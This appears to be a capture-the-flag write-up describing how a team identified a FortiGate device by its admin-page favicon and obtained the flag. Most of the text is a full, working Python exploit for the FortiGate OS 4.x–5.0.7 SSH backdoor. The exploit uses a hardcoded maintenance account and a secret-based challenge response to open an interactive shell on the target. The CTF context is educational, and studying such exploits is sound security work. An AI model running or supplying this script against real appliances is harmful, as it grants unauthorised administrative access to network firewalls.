Fortinet Flag

Finding the exploit, we did some google-fu and learned a bit about some of the exploits for the device, but we didn’t know which device on the network it was.

We connected to one of the devices and figured out that the favicon of the admin page was Fortinet’s logo. From there we started to run some of the exploits. The one that worked for us was https://www.exploit-db.com/exploits/43386

Exploit

#!/usr/bin/env python

# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>

import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty

def custom_handler(title, instructions, prompt_list):
    n = prompt_list[0][0]
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]


def main():
    if len(sys.argv) < 2:
        print 'Usage: ' + sys.argv[0] + ' <target-ip>'
        exit(-1)

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
    except paramiko.ssh_exception.SSHException:
        pass

    trans = client.get_transport()
    try:
        trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
    except paramiko.ssh_exception.AuthenticationException:
        pass

    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
    chan = client.invoke_shell()

    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)

        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


if __name__ == '__main__':
    main()

Getting the flag

After we gained access, we listed the disks to get the flag, which was the md5 of the partion label.

execute disk list